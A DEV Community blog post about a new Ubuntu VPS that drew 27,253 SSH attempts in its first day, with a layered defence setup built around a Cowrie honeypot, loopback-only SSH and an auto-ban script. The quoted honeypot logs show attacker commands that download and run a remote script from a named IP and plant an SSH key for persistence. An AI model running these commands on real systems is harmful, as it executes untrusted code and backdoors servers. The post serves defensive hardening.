DEV Community

Kashif Eqbal
Kashif Eqbal

Posted on

I Deployed a Fresh Ubuntu VPS - It Was Attacked 27,000 Times in 24 Hours

I Deployed a Fresh Ubuntu VPS - It Was Attacked 27,000 Times in 24 Hours

Fresh Ubuntu 24.04 on a $14/month Contabo VPS.

No app. No data.

Within hours, logs were full of garbage traffic.

TL;DR

In the first 24 hours on a public IP:

  • 27,253 connection attempts
  • 99 unique attacking IPs
  • 3 malware download attempts
  • 1 persistence attempt that would likely compromise a normal box

Defense stack I used:

  • Cowrie on port 22 (honeypot, fake shell, full logs)
  • Real SSH moved to loopback-only
  • Cloudflare Tunnel for real access
  • Auto-ban script + fail2ban
  • Internal services bound to loopback
  • Secrets loaded from 1Password at boot

This setup is reproducible.


What the logs showed

One IP (93.188.83.96) made 20,822 attempts in one day.

Almost every session ran:

echo -e "\x6F\x6B"
Enter fullscreen mode Exit fullscreen mode

That is echo "ok" in hex. Standard credential validator behavior.

Raw snippets from Cowrie logs:

2026-02-21 03:12:11 [cowrie] login attempt root:password [FAKE SHELL]
2026-02-21 03:12:13 [cowrie] command: uname -s -v -n -m
2026-02-21 03:12:14 [cowrie] command: cat /proc/cpuinfo
2026-02-21 03:14:02 [cowrie] download attempt: http://194.165.16.11/clean.sh
2026-02-21 03:14:05 [cowrie] command: chmod +x clean.sh; sh clean.sh
2026-02-21 04:22:31 [cowrie] command: chattr -ia ~/.ssh/authorized_keys
2026-02-21 04:22:32 [cowrie] command: echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys
2026-02-21 04:22:33 [cowrie] command: chattr +ai ~/.ssh/authorized_keys
Enter fullscreen mode Exit fullscreen mode

That last sequence is persistence.

On a normal server, it can stick. In Cowrie, it is fake filesystem noise.


What most people get wrong

Most break-ins come from boring mistakes:

  • SSH exposed with password auth
  • Services bound to 0.0.0.0
  • Secrets left in .env forever
  • No telemetry, so no visibility into active attacks

You do not need enterprise tooling first.

You need fewer exposed surfaces and better visibility.


Defense stack

Rule: assume each layer fails eventually.

Internet Scanners
        ↓
Cloudflare (DDoS + Tunnel + Access Auth)
        ↓
  ┌─────────────────────────┐
  │     UFW Firewall        │
  │   (default deny all)    │
  └─────────────────────────┘
        ↓               ↓
   Port 22          Port 2222
  (Cowrie)        (Real SSH)
  Fake shell      Loopback only
  Full logging    Key auth only
        ↓               ↓
  Attack logs     Real access
        ↓
  Auto-ban + Telegram alerts
        ↓
  All services on loopback
  (zero direct exposure)
        ↓
  Secrets from 1Password
  (nothing long-lived on disk)
Enter fullscreen mode Exit fullscreen mode

Layer 1: Cowrie on port 22

Cowrie accepts attacker traffic and logs everything.

sudo apt update && sudo apt install git python3-venv -y
git clone https://github.com/cowrie/cowrie
cd cowrie
python3 -m venv cowrie-env
source cowrie-env/bin/activate
pip install -r requirements.txt
cp etc/cowrie.cfg.dist etc/cowrie.cfg
Enter fullscreen mode Exit fullscreen mode

Run it as non-root. Keep logs.

Layer 2: Real SSH off the public interface

Move real SSH to loopback:

sudo nano /etc/ssh/sshd_config
Enter fullscreen mode Exit fullscreen mode
Port 2222
ListenAddress 127.0.0.1
PasswordAuthentication no
PubkeyAuthentication yes
Enter fullscreen mode Exit fullscreen mode
sudo systemctl restart ssh
Enter fullscreen mode Exit fullscreen mode

Now real SSH is not publicly exposed.

Access goes through Cloudflare Tunnel.

Layer 3: Auto-ban heavy sources

Every 15 minutes, parse today’s Cowrie logs and ban noisy IPs:

#!/bin/bash
LOG_FILE="/home/cowrie/cowrie/var/log/cowrie/cowrie.json"
TODAY=$(date +%Y-%m-%d)

jq -r --arg date "$TODAY" \
  'select(.timestamp | startswith($date)) | .src_ip' "$LOG_FILE" | \
  sort | uniq -c | sort -rn | \
  while read count ip; do
    if [ "$count" -ge 20 ]; then
      ufw insert 1 deny from "$ip" to any
      # send Telegram alert
    fi
  done
Enter fullscreen mode Exit fullscreen mode

fail2ban stays enabled for real SSH too.

Layer 4: Internal services on loopback

Example:

127.0.0.1:18789  ← AI gateway
127.0.0.1:8384   ← Syncthing
127.0.0.1:8787   ← Internal tools
Enter fullscreen mode Exit fullscreen mode

No direct public exposure for these services.

Layer 5: Secrets loaded at boot

Secrets are stored in 1Password, then loaded by systemd at startup.

# /etc/systemd/system/load-secrets.service
[Unit]
Before=app.service
After=network-online.target

[Service]
Type=oneshot
ExecStart=/usr/local/bin/load-secrets.sh
Enter fullscreen mode Exit fullscreen mode
# load-secrets.sh
export OP_SERVICE_ACCOUNT_TOKEN=$(cat /root/.op-service-token)
get() { op item get "Server Secrets" --vault MyVault --reveal --fields "label=$1"; }

cat > /root/.env << EOSECRETS
OPENAI_API_KEY=$(get OPENAI_API_KEY)
DB_PASSWORD=$(get DB_PASSWORD)
EOSECRETS
chmod 600 /root/.env
Enter fullscreen mode Exit fullscreen mode

Why this works

Most attackers optimize for speed and volume. They assume:

  • SSH on 22
  • password auth available
  • public services they can scan

This setup breaks those assumptions.


4 attacker types from day 1

Type Goal Risk Defense
Credential bots (90%) Find weak passwords Low Honeypot
Fingerprinters (8%) Check hardware for mining targets Medium Hidden services
Persistence attackers (1.5%) Plant SSH backdoors High Fake filesystem
Malware loaders (0.5%) Drop miners/bots Critical Isolation

Notes

This setup took around two days to get right end-to-end.

Main gaps I see on small VPS setups:

  • no honeypot
  • fail2ban treated as complete protection
  • secrets living on disk forever
  • no attack telemetry

If you run public VPS infrastructure, this setup is worth implementing.


Public IP means constant scanning.

First 24 hours here: 27,253 attacks, zero breaches.

Top comments (0)